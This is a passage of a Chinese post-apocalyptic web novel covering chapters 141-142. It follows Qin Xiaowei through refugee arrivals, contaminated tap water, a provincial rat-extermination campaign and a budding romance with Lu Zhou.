陆昼原本都把手|枪拿出来了，等看清屏幕里的人，他又把枪塞了回去：“……这是我堂哥，应该是来找我的。” 秦小薇：“……” 她有些尴尬：“哈哈……是吗？” 她稍微一想，就明白自己为什么会认错了，他堂哥虽然去的是南方，但那边的温度并没有比宁市高多少，士兵们还不能一直待在地下城里。 长期待在外面，他们和地面上那些难民一样，被冻疮“毁容”似乎也很正常…… 门铃声依旧在响，秦小薇和陆昼只能去开门。 陆昼的堂哥很高，不仅高，看着还比陆昼壮，胳膊上全是鼓胀的肌肉，胳膊看着比一些女孩子的腰还粗。 配合他那张被毁容的脸，让人觉得压迫感十足，乍一看，其实还有些吓人。 秦小薇知道他是个退伍军人，脸上的冻疮是保卫祖国留下的，心里倒是没多少害怕的情绪。 秦小薇正等着陆昼给他们介绍，却听到他说：“弟妹，我是小昼的堂哥陆峰，你跟着他，叫我峰哥就行了！” 秦小薇：“……” 他那声“弟妹”一出来，周围的空气瞬间一片凝滞。 似乎是察觉到了秦小薇的尴尬，陆昼上前一步，揽着陆峰的肩膀，半推半拽地把人往自己的别墅带：“峰哥，我有事找你，咱们先回去！” 临走前，他还不忘回头，冲着秦小薇无声地说了句“抱歉”。 秦小薇站在两人身后，还能听到他们的说话声。 “你别推我，我还没和弟妹打招呼呢！” “什么弟妹，你小点声！” “你还没把人追到手？还是你不想负责？你都要在人家家里过夜了，可不能始乱终弃，咱们老陆家的人可不能干这种事……” “我什么时候在她家过夜了？” “我要是没来敲门，你还会回来吗？” “……” 秦小薇：“……”下次还是早点 赶陆昼回家吧！ 第二天早上，秦小薇和陆昼出去了一趟，把昨天打包好的东西运回了地下城。 红浦区越来越热闹，到处都是正在施工的工地，他们硬是跑出了红浦区，才找到一个无人的路段，把空间里的物资转移到卡车后车厢里。 下午的时候，秦小薇又和范槿出去看了她和肖琳琳的“房子”，房子目前还是一堆钢筋水泥，她们到了地方之后，只能看到一堆建材和一群正在干活的工人…… 这里其实和其他的工地没什么区别，但范槿却很兴奋，拉着秦小薇的手，兴奋地说着以后她的房间要怎么装修；窗帘要挑什么花色；她要和肖琳琳当邻居，以后她爸妈要是再催婚，她就爬阳台，去肖琳琳的房间住…… 她叽叽喳喳地说着，像只兴奋的小鸟。 看得出来，她对未来的生活十分憧憬。 秦小薇没打断她，一直认真地听着，时不时给她预想的“装修方案”提出一点意见。 秦小薇：“饭饭，这么多建材堆在这，不会被偷吧？” 红浦区和其他区并没有隔开，另外两个区地下城的人时常溜过来，有些是想找工作赚钱，还有些投机者，则会干些小偷小摸的事…… 范槿：“我找了人过来守着，还和其他同事打了招呼，让他们晚上巡逻的时候，多来这边转转，应该不会有事……” 看完了“房子”，两人就去吃了酸菜鱼，味道和秦小薇天灾之前吃过的酸菜鱼火锅差不多。 虽然才升温几个月，但宁市恢复得很快，不去其他区，甚至会给人一种，末世从未到来的错觉…… 吃完饭之后，秦小薇又接到了周玥的电话，说是月底了，问她要不要去总店查查账。 今天刚好开了车出来，秦小薇就点头答应了。 现在外面还是不太平，很多路段都没有路灯，范槿担心秦小薇一个人开车会出事，便提出要陪她一起去，秦小薇也没拒绝。 附近每天都有Q大的学生来来回回，公寓楼附近其实挺热闹的，很多小商贩都会特地骑车过来摆摊，不过之前被地震破坏的路灯和线路还没修复，路上依旧是黑黢黢的，行人得自己打手电筒。 到公寓楼楼下后，范槿一眼就看到了楼下停着的一辆警车，有些好奇道：“出什么事了？” 秦小薇：“五楼有个24小时麻将馆，楼里面的住户嫌弃他们太吵，之前天天报警，那麻将馆的老板也不是个软柿子，天天搞些小动作报复，都吵了一个多月了……” 范槿：“啊？这边的警察没把他们抓起来，就这么由着他们闹？” 秦小薇指了指天上：“说是两方在上面都有关系……你懂的！” 范槿：“我最怕碰到这些关系户了，有时候明明是对方的错，我还得道歉，真憋屈！” 秦小薇拍了拍她的肩膀：“你现在转岗了，不用再经历这种事了！” 她们是走楼梯上去的，路过五楼的时候，两人还特地停了停，去走廊里看了看。 他们第一次报警的时候，走廊里可谓是人山人海，踮着脚都看不到里面的情况，但连着闹了一个多月，这个瓜大家似乎已经吃腻了，今天走廊里都没什么看热闹的人。 麻将馆里也只来了两个民警，和上次出动了好几辆警车的大阵仗完全不一样。 麻将馆里，主要是店主和楼上的住户在吵架，两个民警，明显是在和稀泥——两方他们都不能得罪，除了和稀泥，他们也干不了什么。 两人站在麻将馆外听了会八卦，才意犹未尽地上楼…… 这边的人流量不如地下城那边大，开业活动过后，店里的流水下降了一些，但因为她们店在宁市还是很有名气的，所以扣除各项成本之后，店里依旧在盈利。 秦小薇查完账之后，又和周玥了解了一下店里的经营情况，才和范槿离开。 按照现在的情况发展下去，她又有了一项稳定的收入来源……可以躺平养老了，不错！不错！ 一转眼，时间又过了一周，这天早上，秦小薇在店里摸鱼的时候，看到了段霞发在群里的消息。 【段霞：一个坏消息，又有一批难民要来咱们宁市了！】 秦小薇之前就从陆昼那知道这个消息了，看到段霞发的消息，她的第一想法竟然是，高层和风城的人终于谈妥了，他们之后应该不用再为了躲人居家办公了吧…… 不过室友们的反应，倒是十分激烈。 【范槿：太过分了！咱们宁市刚好一点，又要让我们给其他城市的人输血！】 【肖琳琳：别来啊！上面就不能往别的地方塞人吗？】 【段霞：听说其他地方，不是闹老鼠，就是闹蚊子，还有闹虫子的……就咱们Q省好一些，鼠灾勉强控制住了，没影响正常的生产生活……】 【肖琳琳：那也不能可着咱们一个省薅羊毛啊！他们这都转移了多少批难民过来了？！】 【秦小薇：我听说现在这批难民是风城来的，咱们之前不是拿了人家一堆生产线吗？现在人家想把东西要回去，听说接收这批难民，就是留下生产线的交换条件。】 【范槿：不能把东西还回去吗？我还是觉得，人多了不好。】 【秦小薇：听说国内很多机床都毁了，生产线还回去，咱们用药品换物资的路子就断了，虽然现在是每个城市自扫门前雪，但明面上，还是得听省里和首都那边的，要是闹大了，也没法收场，市政应该也有自己的考量……】 【肖琳琳：那咱们之前暴雪的时候弄到的其他物资呢？不会也要还回去吧？】 【秦小薇：那些不一样，药品生产线，之前是有军方介入，才查到咱们这儿的，咱们还为战区输送了不少医疗资源，算是摆在明面上了，其他的物资，咱们都自己消化了，要是人家找上门来，死不承认就行了。】 【段霞：薇薇，你从哪儿得到的消息？怎么知道得这么多？】 当然是和陆昼聊天的时候，陆昼告诉她的，反正也不是什么机密，陆昼也就没瞒她。 【秦小薇：认识的一个朋友告诉我的……】 她担心段霞还要再问，便转移了话题。 【秦小薇：琳琳，你现在到哪了？什么时候能到宁市？】 【肖琳琳：到萱城了，正准备绕路，听说城里闹鼠灾之后死了不少人，尸体都没人处理，现在一堆乱七八糟的传染病，我们不敢冒险，打算绕过去……】 【肖琳琳：这趟回去之后，短时间内，车队应该不会再出来了……薇薇，我不会要失业吧？】 【秦小薇：不会，我都打听好了，现在很多地下城都和咱们有交易，咱们有车，车队可以走官方的路子跑运输，来回的时候，队员们也能捎带点别的东西，也有得赚。】 【段霞：现在汽车厂生产的都是电车，电车续航不行，市内跑跑还行，跑长途肯定会歇菜……琳琳，你们车队的油车还是挺有优势的！】 【肖琳琳：行叭！等回来了，我就带着大家改行跑运输！】 【秦小薇：车队里现在没人生病吧？】 【肖琳琳：有几个发烧的，队医给他们看了，让他们先吃药，要是控制不住，再联系地下城那边，派飞机过来接人。】 之前建地下城的时候，宁市规划了好几座地下城，其中有好几座地下城都没完工，但因为没有立刻通暖气、安排人入住，建筑的质量其实比南湖区和江安区两座地下城好。 虽然它们现在属于“烂尾楼”，但房子稍微收拾一下，其实也可以住人，风城来的人就被安排在里面。 他们过来的时候，同城APP上还有人发了他们的照片。 风城之前经历过雷暴，很多人的皮肤上，都有烧伤的痕迹，再加上低温这两年，他们过得并不好，身上冻疮的痕迹，比宁市那些住地面上的难民还要多。 大部分人露在外面的皮肤都很吓人，就算是正常的成年人看了，晚上都可能做噩梦……甚至还有人吐槽说看到他们，就像是看到了恶鬼。 有种自己正身处地狱的感觉…… 因此风城的难民搬过来没几天，大家就不再往那边跑了，附近的地价也直线下降——大家都不想和他们做邻居！ 秦小薇也看到了网上的照片，她只能感叹宁市的高层确实靠谱。 他们早早就做足了准备，低温这两年，地下城没为能源的事发过愁，红浦区的人，只要好好待在地下城，几乎没有因为冻疮“毁容”的，这么一对比，他们比外面的人幸福多了！ 这天早上，秦小薇在垃圾桶边上做垃圾分类的时候，碰到了正在晨跑的陆峰。 看到秦小薇之后，他停了下来，冲着她笑出了一口小白牙。 因为两年来反复的冻疮，他脸上的皮肤成了骇人的紫红色，他一笑，那些冻疮留下的疤痕就扭曲了，看着有些吓人。 陆峰：“弟妹，出来扔垃圾啊？” 秦小薇：“……” 陆峰的态度依旧十分热情：“弟妹，你吃早饭了没？家里阿姨做了早饭，要不去我家吃点？” 秦小薇：“我吃过了！我叫秦小薇，你可以直接叫我名字！” 陆峰：“知道了，弟妹。” 秦小薇：“……” 陆峰也 没有多留，和秦小薇简单聊了几句，就继续跑步去了。 晚上下班的时候，秦小薇又看到了他，他被几个穿着西装的男人压着，似乎是遇到了麻烦…… 秦小薇犹豫了两秒，还是停车了：“陆峰，要帮忙吗？” 其中一个西装男认出了秦小薇，冲着她开口解释道：“秦小姐，大夫人让我们送大少爷去医院。” 秦小薇：“……那你们继续！” 见他们在办“家务事”，秦小薇就准备离开，谁知，陆峰却趁着他们说话的空档，挣脱了几个保镖，一溜烟跑了出去。 “大少爷，你别跑！夫人说了，今天一定得送你去医院……”保镖们也顾不得和秦小薇打招呼了，纷纷追了上去。 秦小薇有些好奇这事的后续，第二天，陆昼过来蹭饭的时候，便问了他这事。 秦小薇：“陆昼，你堂哥什么病啊？他怎么这么排斥去医院？” 看到她满脸的求知欲，陆昼笑了起来：“想知道？” 秦小薇点头。 陆昼：“这周末我不用加班，咱们坐热气球出门玩？” 秦小薇：“……太显眼了，被发现了怎么办？不行！” 陆昼说的是秦小薇空间里的热气球，它的操控方式和外面的热气球完全不一样，是通过电子屏幕操控的。 陆昼立刻改口：“那就在你空间里飞。” 秦小薇：“……这才是你的目的吧？” 陆昼没有反驳：“行不行？” 秦小薇：“说。” 知道她这是答应了，陆昼毫不犹豫地卖了自己的堂兄：“我伯母嫌弃他脸上的冻疮太吓人了，把相亲对象都吓跑了，给他安排了什么修复项目，我堂哥不愿意去，搬出地下城了……” 秦小薇的关注点有点偏：“那项目有用吗？” 陆昼：“医院那边找了志愿者，说是可以恢复肤色。” 秦小薇：“一白遮百丑，那肯定有用！医院估计是要赚翻了……” 陆昼：“羡慕了？要不我们也开一家？” 秦小薇：“这跨行也跨得太远了……你认真的？” 陆昼：“之前家里的资产都卖了，现在正在重新布局，我觉得这个行业挺有钱途的，可以试一试。” 秦小薇：“都卖了？我记得你们家在地下城有好几家工厂，这两年一直没停工，前段时间还说要扩大规模，重新修建厂房来着……” 陆昼：“是啊，只剩几家了。” 秦小薇：“……”几家还不够吗？【你现在阅读的是 】 140-143 第141章 第141章灭鼠小队（双更合一）…… 陆昼和秦小薇说了他家未来的“商业布局”,现在地下城百废待兴，其实赚钱的项目很多，秦小薇听得心动不已,一顿饭还没吃完,她就投了一半存款进去,让陆昼带着她赚钱…… 秦小薇：“陆昼，你可得好好工作,要是我的钱打水漂了,你懂的……” 她握了握拳头，作威胁状。 陆昼却一点都不怕,他轻轻笑了起来：“放心，赔了算我的！” 吃完饭之后，秦小薇又从仓库里拿出一个大西瓜,她切了三个果盘,和陆昼、朔月分了。 秦小薇：“咱们在这吃独食，香肠知道了，不会生气吧？” 陆昼：“那我把它接过来？” 菜刀和砧板都洗干净了,秦小薇懒得再折腾一遍，她摇了摇头：“算了,下次吧！像香肠这样善解人意的小狗,会理解我的！” 秦小薇：“对了，你家要淡化水吗？” 健身房教练江明月不满一周岁的女儿前段时间莫名其妙老鼠药中毒住院，夫妻俩琢磨了许久,都没找到原因，江明月还把自家帮忙带孩子的婆婆怀疑上了，还在家里安了监控，但依旧没找到女儿中毒的原因。 她女儿出院后没几天,又中毒住院了。 再次住院后，她听到医院的医护人员闲聊，说最近不少婴儿都中毒了，上面查了，怀疑是他们喝的水有问题…… 虽然是闲聊，但江明月却听了进去，她回忆了一下，她女儿喝的水确实是从水龙头里接的，虽然宁市官方发了公告，说他们现在用的是干净的地下水，并没有被老鼠药污染，但自来水厂那边具体是什么情况，谁也不知道…… 出院后，江明月就把家里喝的水全都换了。 换了水之后，她女儿果然没再出现老鼠药中毒的症状。 秦小薇天天往健身房跑，自然知道了水可能有问题的事。 陆昼算是宁市的管理层，比她知道的更多，他告诉秦小薇，因为抽出来的地下水不够用，地下城某些区域供给的是经过检测的“微毒”河水，这水成年人喝没问题，但小婴儿身体弱，稍微一点风吹草动身体就会出问题。 因此 ，医院里中毒婴儿的数量才会直线上升…… 知道自来水厂的猫腻后，秦小薇便开始往健身房送淡化水，让员工们喝淡化水，淡化水虽然有股怪味，但加点茶叶之类的压一压，也能喝。 陆昼点头：“暂时不用，之前存了不少水，还没用完……” 秦小薇：“行。” 吃完西瓜后，两人又坐在沙发上，玩了会游戏。 可能是因为大学学的是计算机专业，之前又开发过游戏，陆昼打游戏其实挺厉害的，家里还有不少秦小薇没玩过的游戏光盘。 说实话，和他一起打游戏，还挺开心的…… 很快，就九点了，秦小薇担心他家里人来找他，一到九点就把人赶回家了。 陆昼不想走：“现在家里就我一个人住，我家没有门禁。” 秦小薇胡乱敷衍道：“到了九点家里还有外人，朔月晚上会做噩梦。” 朔月趴在地毯上，狗脸上写满了无辜。 陆昼很无奈：“你就胡扯吧！” 他最后还是乖乖离开了。 秦小薇第二天在健身房干活的时候，发现商业街路过一群扛着行李准备搬家的普通人。 有些人地震的时候，家里的房子就没塌，市政把地面上那批吃人的难民清走之后，他们就搬回家了；还有人不喜欢地下城见不到阳光的生活，花新币在外面租了房子；再加上这段时间，地面上一直有工地开工，其实搬家的人不少。 但今天路过的这群人，他们不是搬出去的，而是搬进来的。 看他们的状态，他们中，一部分人应该来自其他两个地下城；还有一部分，秦小薇分辨不出来，他们是风城的难民还是之前留在地面上那批难民…… 秦小薇和身边一位教练八卦道：“咱们这怎么忽然添新人了？” 教练他们住在公租房里，周围邻居多，消息渠道也多，倒是知道他们的来历：“之前地下城不是有很多人搬出去了吗？空了不少房子出来……市政就开放了名额，公民信用分够的，都能申请。” 虽然地下城不见阳光，内裤晾一个星期都阴不干，但这里治安好，有充足的食物供应，市政各种政策都先紧着这边，工作机会也多，附近配套的基础设施和娱乐设施都有…… 对宁市某些原住民来说，他们可能是在外面弄不到房子，才不得不留在地下城，但对某些人来说，红浦区的地下城，却是他们心中理想的居住地。 因此地下城每次开放名额，都有一堆人申请。 秦小薇指着其中几个状态明显不对的人，开口道：“他们……公民信用分够？” 公民信用分这种东西很难加，想扣却很容易，之前住地面上那批难民，应该没什么途径加公民信用分吧？ 教练挠了挠头：“我也不知道欸……” 秦小薇又上网看了看，网上并没有网友讨论这件事，大家的注意力都放在另一件事上面——Q省的各个城市，都打算派出队伍，去隔壁省除鼠害，彻底解决鼠灾的源头。 地下城生产的灭鼠药确实挺管用的，但毒性也大，一场雨过后，还会顺着雨水汇入河流，污染水源和土地。 一直持续下去，早晚会出问题。 这次灭鼠行动，官方会出人，除此之外，他们还会从民间招募队伍，和官方队伍一起去外省，参与灭鼠行动…… 这活其实挺危险的，因此官方也给了不少奖励，除了新币和工作的优先录取名额之外，他们甚至还奖励房子……抚恤金也十分丰厚！ 俗话说，财帛动人心，看到官方竟然大手笔地拿外面正在施工的新一代住宅楼当奖励，不少人都心动了。 陆昼他们小区可就一直立在那，宁市人都知道，新一代住宅楼，房屋质量好，可以抵御各种天灾。 那房子到手之后，就算他们不自己住，转手卖了也是一大笔钱！ 到时候再去网上收点物资，就算未来再有什么灾难，至少几年内，他们是不用再为物资发愁了…… 因此，很多人都打算报名，现在同城APP上都在讨论各种灭鼠小技巧，还有巡逻队的成员，在网上开帖传授经验，十分热闹。 下午和室友们在群里聊天的时候，秦小薇就说起了这事。 【秦小薇：我看网上说这次灭鼠行动官方也会派人，阿霞、饭饭，上面不会派你们去吧？】 【范槿：这次行动自愿报名，我已经放弃报名资格了。】 【范槿：之前天天对着一堆老鼠的照片写宣传稿，我现在看到带毛的动物都有点PTSD了，薇薇，我有没有和你说过？我现在看到朔月，都不敢上手摸它……】 【秦小薇：不至于吧？】 【秦小薇：朔月和老鼠的差别……还是挺大的吧？】 【范槿：至于！我床上原本有个咖啡色的陪睡娃娃，因为这几个月闹老鼠，都被我打入冷宫了……我有天晚上梦到老鼠爬到我床上咬我，然后我从梦中惊醒的时候，一把就摸到了那个娃娃毛茸茸的头发，当时差点没吓死我QAQ】 看到范槿说，这次是自愿报名，秦小薇放心了，但很快，段霞在群里的回复，就让她的心提了起来。 【段霞：我已经报名了！】 【段霞：下周就出发。】 【范槿：啊？？？】 【范槿：不是……阿霞，你怎么这么想不开？】 【范槿：你没看官方之前发的新闻吗？那老鼠浑身都是病毒，就算打了疫苗，受重伤也会被感染的！】 【秦小薇：阿霞，你之前不是还嫌弃抓老鼠这活恶心，想要回地下城吗？怎么现在突然给自己揽活？】 【段霞：这次要是立功了，我应该可以往上升一升，以后就可以坐办公室了，也不用再带队出去了！】 【段霞：我想一劳永逸。】 【段霞：老鼠确实挺恶心的，但为了升职，我也不是不能忍。】 范槿和秦小薇劝了两句，见她坚持，只能叮嘱她多准备几套装备，免得被老鼠咬坏了连个替换的装备都没有。 范槿和秦小薇还开始操心她行李的问题，出了不少主意。 说实话，秦小薇还是挺佩服她的事业心的，换成是她，那么危险的地方，就算是跑一趟回来，让她升市长，她都不会去…… 官方的行动力一如既往地强，很快，灭鼠队伍就座着军卡离开了宁市。 车队浩浩荡荡，除了官方的队伍，民间也有不少普通人报名参加，因为奖励太过丰厚，名额甚至供不应求，官方进行了好几轮筛选，才留下一小部分人。 与此同时，外出寻找物资的车队也带着物资回来了。 这次，他们的收获不比以往，车顶上没有绑着满满当当的物资，但大家不是空手回来的，每个小队，或多或少，都有一些收获。 因为他们沿途碰到了不少“突发状况”，这次带回来的物资，官方并没有允许他们自己处理，而是彻底消毒后，再送去专业的实验室抽检，确定它们没问题了，再返还给大家。 这一路上经历的事，大家都还历历在目，他们现在还有不少队友还躺在医院里，车主们知道官方做的这一切都是为了预防传染病，对于官方的安排，非常配合，并没有人闹什么幺蛾子。 虽然肖琳琳他们每天都会在群里报平安，但秦小薇和范槿依旧很担心他们，在群里看到他们要到宁市的消息后，范槿和范爸爸还特地请了半天假，和秦小薇一起去接人。 直到看到车队里其他人完好无损地站在他们面前，他们的心才彻底放了下来。 范爸爸不顾在场还有其他人，一把抱住了范妈妈：“平安回来了就好！平安回来了就好！” 他的声音有些哽咽，显然，他这段时间非常担心范妈妈。 范妈妈：“老范，孩子们都看着呢！你正经点！” 肖琳琳：“阿姨，叔叔这是心里记挂你呢！” 虽然接到了人，但车队的众人现在还不能回家，他们把车子交给地下城的工作人员后，还得去医院排队体检。 这次回来的流程有点麻烦，但现场并没有人抱怨，大家都十分配合——虽然出门之前就做好了心理准备，但他们依旧希望自己能没病没灾地平安回家。 这趟回来虽然没带多少物资，但车队那边的杂事却格外多，肖琳琳连着忙活了一个星期，才处理完。 等处理完那边的事，她又马不停蹄地重新组建队伍，帮着官方和地下城的某些工厂运输物资。 按照这趟的情况来看，短时间内，官方应该不会再组织队伍外出探索，车队没了活计，就得想其他的办法养家糊口。 虽然秦小薇说她有门路，运输队的事黄不了，让她休息几天再出发，但肖琳琳还是想快点把事情定下来，免得夜长梦多，机会被别人抢走了…… 虽然这几个月，宁市的工作岗位增加了许多，普通人想养家糊口，比前两年容易了许多，但一些“高薪”的工作，依旧稀缺，工作这几年，肖琳琳很明白机会稍纵即逝的道理。 临出发前，她还特地来健身房找了秦小薇。 肖琳琳：“薇薇，你那还有射钉枪配套的钉子吗？你之前给我的用完了，我在网上收了一些，但尺寸都不合适，老是卡在里面出不来……” 秦小薇有些惊讶：“这么快？” 她记得出发之前，她给肖琳琳准备了几十盒配套的钉子，竟然全用完了？ 肖琳琳：“碰到鼠群的时候，跑得慌不择路，弄掉了一些，又 用了一些；后面碰到了劫道的，动手的时候用完了……薇薇，你那还有吗？” 秦小薇点头：“有！” 她原本是想直接拿给她的，想了想，这东西从健身房拿出来似乎有点奇怪，转而又道：“在家里，我今晚或者明天给你送过去。” 肖琳琳：“今晚吧！我明天早上要出车……” 秦小薇冲着她比了个“OK”的手势。 没两天，肖琳琳和范妈妈又离开了宁市。 范妈妈走后，范爸爸又“罢工”了，范槿只能自己做饭，好在地面上多了不少店铺，她多花点钱，还是能满足自己的口腹之欲的…… 这天中午，秦小薇刚送走了一拨客人，正准备去办公室吃便当，就接到了陆昼的电话。 秦小薇：“喂？” 陆昼：“下班刚好路过你们健身房，一起吃中饭？” 秦小薇：“……”预警中心的办公大楼甚至都不在红浦区，他是怎么路过的？ 陆昼：“是个老师傅开的店，味道你肯定喜欢。” 她抬起头，透过健身房的玻璃门，看到陆昼在马路对面，冲着她笑。 他今天穿着简单的白T运动裤，他脸上的笑容太灿烂、太阳光，看着倒是不像管理地下城的预警中心部长，像个……正在等女朋友下班的男大。 那笑容太晃眼，秦小薇犹豫了一下，答应了他的邀请。 秦小薇小跑了过去：“你从哪过来的？我记得这里离市政的办公点很远……” 陆昼这回倒是没再找借口，他实话实说：“想来看看你工作的地方……给你带了礼物，拆开看看。” 秦小薇有些莫名：“怎么忽然给我送礼物？” 陆昼：“送你礼物还要挑时间？想送就送了……” 秦小薇：这家伙，今天是不是有点太明目张胆了？不过……他平时好像也没藏着掖着？ 她打开袋子看了看，是只陶瓷小鸟，长得和小黄差不多，但是要比它小好几圈，看起来十分可爱。 秦小薇：“这个摆件和小黄好像，好可爱！” 陆昼：“茶宠，我看你最近好像很喜欢喝茶，就给你捏了一个……这里是连通的，你往它脑袋上浇水，它会从嘴里吐出来。” 秦小薇的动作顿住，她转头看他：“捏？这是你烧的？” 陆昼：“嗯，郊区开了家窑厂，我去参观的时候，顺手给你捏了个小玩意，喜欢吗？” 秦小薇有些惊讶，他竟然还会陶艺。 秦小薇：“挺可爱的！不过，小黄要是看到我往它头上浇茶，估计会啄我……” 陆昼：“那下次咱们一起去捏个别的？金鱼喜欢吗？德牧我也会捏……周三怎么样？咱们周三一起去吧，我和那边约时间。” 说着，他就拿出了手机。 秦小薇斜了他一眼：“陆昼，你别自说自话，我还没答应要和你一起去玩泥巴呢！” 陆昼勾了勾唇角，露出一个有些邪恶的笑：“不去？好啊！那我自己去，我捏个你的Q版小人，天天往你脑袋上浇水……” 秦小薇立刻伸手捶他：“你想挨揍是不是？” 陆昼：“我错了！我错了！” …… 从饭店回来的时候，秦小薇又碰到了一批人，他们扛着大包小包，正在往地下城搬家。 她用胳膊肘捅了下陆昼，问他：“这些人是走后门搬进来的吗？” 陆昼顺着她的视线看了过去，片刻之后，他开口道：“不算吧，他们之前是风城人，他们之前在各行各业都挺有名气的，上面就特别通融了一下，放他们进地下城……” 秦小薇知道，虽然红浦区地下城的人口很多，但上面一直没有放弃招募各行各业的顶尖人才，为宁市的未来做准备。 这些人有才能，公民信用分不够也能进来似乎很正常…… 秦小薇：“我听说风城就来了二十几万难民，是真的吗？” 陆昼点头。 秦小薇：“剩下的人呢？他们是不愿意离开家乡？还是……” 风城因为医药行业发展得很不错，之前吸引了不少外来人口过去务工，在天灾爆发之前，风城的人口规模其实比宁市还要大许多。 这批难民到宁市之前，秦小薇以为，他们来了之后，宁市的人口怎么着也得增加一半，万万没想到，他们就二十几万人，还不如现在宁市总人口的零头！ 陆昼：“死了。之前雷暴的时候，就死了不少，低温爆发的时候，又死了一批，路上转移的时候，也死了不少人，前两年低温，又有不少人因为各种各样的原因死亡……反正现在就只剩这些了。” 几百万人的城市，短短两年的时间，死的就剩二十几万人了…… 秦小薇：“那他们也太惨了！” 她知道，这些人虽然挣扎着活了下来，但是他们身上，都留下了各种各样的病症，再加上某些人外形条件不行，就算找工作，人家也不愿意用他，以后还不知道要靠什么生活呢！ 陆昼：“他们现在来宁市了，以后会变好的。” 秦小薇诧异地看着陆昼：“这话竟然能从你嘴里说出来的？” 陆昼：“我不能说这话？” 秦小薇摇头：“也不是……我记得咱们刚认识那会，你特别悲观来着，总给我一种下一秒宁市就会毁灭，所有人都会死光光的感觉。” 陆昼：“因为我现在知道了，不管发生什么，宁市都不会毁灭，我会好好活着……和你一起。” 说着，他牵住了她的手。 他的手很大，能轻易裹住她的手，秦小薇能感受到他手掌因为长期握枪长的茧子，有些粗糙。 他们之间有过很多次身体接触，打架的时候，在空间里搬东西、干活的时候……但这次，似乎格外的不一样。 他的体温顺着两人接触的手心传遍全身，连带着她的心跳，都有些乱了…… 秦小薇：“别突然发癫，说这么肉麻的话。” 她慌乱地甩开他的手，加快了脚步，甩开了陆昼。 陆昼笑着追了上来：“那你脸红什么？” …… 回到健身房后，秦小薇依旧有些心烦意乱，明明该睡午觉了，她却怎么都睡不着。 她干脆拿出手机，关心段霞和肖琳琳她们路上的情况。 【段霞：我还好，没受伤，就是今天食欲有点差，中饭吃了几口就吐了。】 【段霞：[图片]】 【范槿：啊啊啊啊好恶心！】 第142章 第142章隔离带 照片里的背景是一座尸山,尸山上，有无数正在乱窜的老鼠，尸体上面,还停着不少苍蝇…… 这些尸体放了太久,再加上最近温度比较高,几乎每一具尸体都腐烂生蛆、变形了。 连颜色都不是正常尸体的颜色，大部分尸体都腐烂成了黑色的。 就算照片无法传递气味,秦小薇依旧觉得自己鼻尖萦绕着一股臭味……她要是在现场,估计也会被恶心得吃不下东西。 【秦小薇：好恐怖……】 【段霞：我们队被留在这里了，等处理完这些东西,就可以继续出发，和大部队会合。】 【范槿：啊？这就和大部队分开了？】 【范槿：阿霞，你们在附近吗？不会被老鼠攻击吧？】 【范槿：这尸体都成这样了,肯定会滋生细菌病毒,你们一定要小心啊！】 段霞现在似乎闲着，便和她们多聊了几句。 【段霞：我们离得很远，现在是派无人机过去大量投放老鼠药,等老鼠死得差不多了，我们再过去。】 【段霞：老鼠太多了,队伍不分开,人手根本不够用。】 【段霞：其实出了Q省，我们就开始分队了，只不过现在才轮到我们队。】 【段霞：[图片][图片][图片]】 段霞又发了几张照片,照片里，她的队员们正对着屏幕指指点点，似乎是在商量该怎么对付那些老鼠。 其中一张照片还拍了 营地周围的环境，营地周围十分空旷,除了他们的军卡和帐篷，什么都没有，看起来似乎挺安全的…… 三个人在群里聊了好一会，肖琳琳才出现。 【肖琳琳：我这边挺顺利的，明天应该就能到地下城了！】 【肖琳琳：跑省内的长途实在是太舒服了，路都是修过的，路上也没什么危险，我这几天，就只碰到了一波劫道的……】 【肖琳琳：我明天下午休息，饭饭、薇薇，咱们几个约一波？】 【范槿：你不补觉？我妈每次回来的第一天，都躺在家里补觉。】 【肖琳琳：这几天休息得还可以，不太需要补觉。】 【秦小薇：行，到时候你来健身房找我，咱们一起出发。】 【范槿：我得看情况，要是明天不加班的话，五点半之后应该有时间。】 她们在群里聊了很久，不知不觉，午休时间就过去了，店里又来了客人，秦小薇便放下手机，去外面招待客人了。 忙忙碌碌中，时间很快到了晚上，健身房关门后，秦小薇取电动车的时候，一眼就看到了站在边上的陆昼。 她递给他一个疑惑的眼神，询问他为什么会在这里？ 陆昼：“来接你下班。” 秦小薇：这家伙……可真会得寸进尺！ 陆昼主动握住电动车的车把手：“我来开？” 秦小薇四处看了看，没看到他的车，皱眉：“你怎么过来的？” 陆昼：“走路过来的。” 秦小薇：“你也不嫌麻烦。” 她让陆昼坐到车后座，骑着小电驴，朝着富人区开去。 他的手环着她的腰，几乎和她贴在一起，就像是把她抱在怀里似的。 两人一狗加在一起都超过三百斤了，实在是不轻，陆昼坐上去之后，秦小薇觉得，电动车的轮胎都瘪了一些…… 秦小薇：“不用抱这么紧，你抓着我的衣服就行了……” 陆昼却抱得更紧了：“你开车技术太差了，我怕摔下去。” 秦小薇大怒：“下次你自己走回去！” 陆昼故意曲解她的意思：“好，我明天也来接你下班。” 秦小薇：“陆昼！” 察觉到她似乎要生气了，陆昼立刻滑跪道歉：“我错了……这车太挤了，我给你换辆新车好不好？你喜欢什么样的？” 秦小薇：“不用，地下城的路太窄了，开电动车不容易堵在路上。” 陆昼：“那把你那SUV换了，那车太破了……” 秦小薇：“不用，代步车能开就行了……陆昼，你今天什么毛病，怎么忽然要给我送车？” 陆昼：“因为我想收买司机，让她把副驾驶留给我一个人。” 秦小薇听懂了他的言外之意，她轻咳一声：“开车呢！不要干扰司机！” 陆昼笑了起来，声音里全是愉悦：“好。” …… 虽然外面各种传染病横行，但因为现在人口流动比较差，除了鼠灾，其他的传染病并没有传来宁市，地下城的日子还算平静，一转眼，时间又过了一个月。 这一个月，秦小薇的生活十分规律，偶尔和陆昼或是范槿出去尝试一下外面新开的店铺，再去公寓楼那边的总店“巡视”一下。 大部分时候，她的生活都很规律，和朔月一起，家和健身房两点一线。 虽然每天都会在群里聊天，但段霞一直没回来。 灭鼠队伍推进得十分艰难。 之前积雪刚融化的时候，外面就很危险，温度升高这几个月，鼠群更是不断扩大，死的人也越来越多，清理难度也比之前大很多…… 经历多了，段霞现在也能对着尸体、闻着尸臭，咽下干巴巴地能量饼干。 这活比肖琳琳之前狱警的工作还要熬人，至少那个时候温度低，肖琳琳面对的尸体都是没腐烂的，但现在…… 听段霞说，有时候尸体腐烂得太厉害，他们搬尸体的时候，还会往下掉烂肉，他们只能把肉捡起来，重新塞进裹尸袋里拖去火化。 尸体上太多蛆虫，经常沾到身上，每次吃饭之前，他们都得检查个三五遍。 否则吃饭的时候，它们可能会掉到能量饼干上面…… 虽然没看到现场，但是光听段霞的描述，秦小薇就能想象到，那画面有多恶心…… 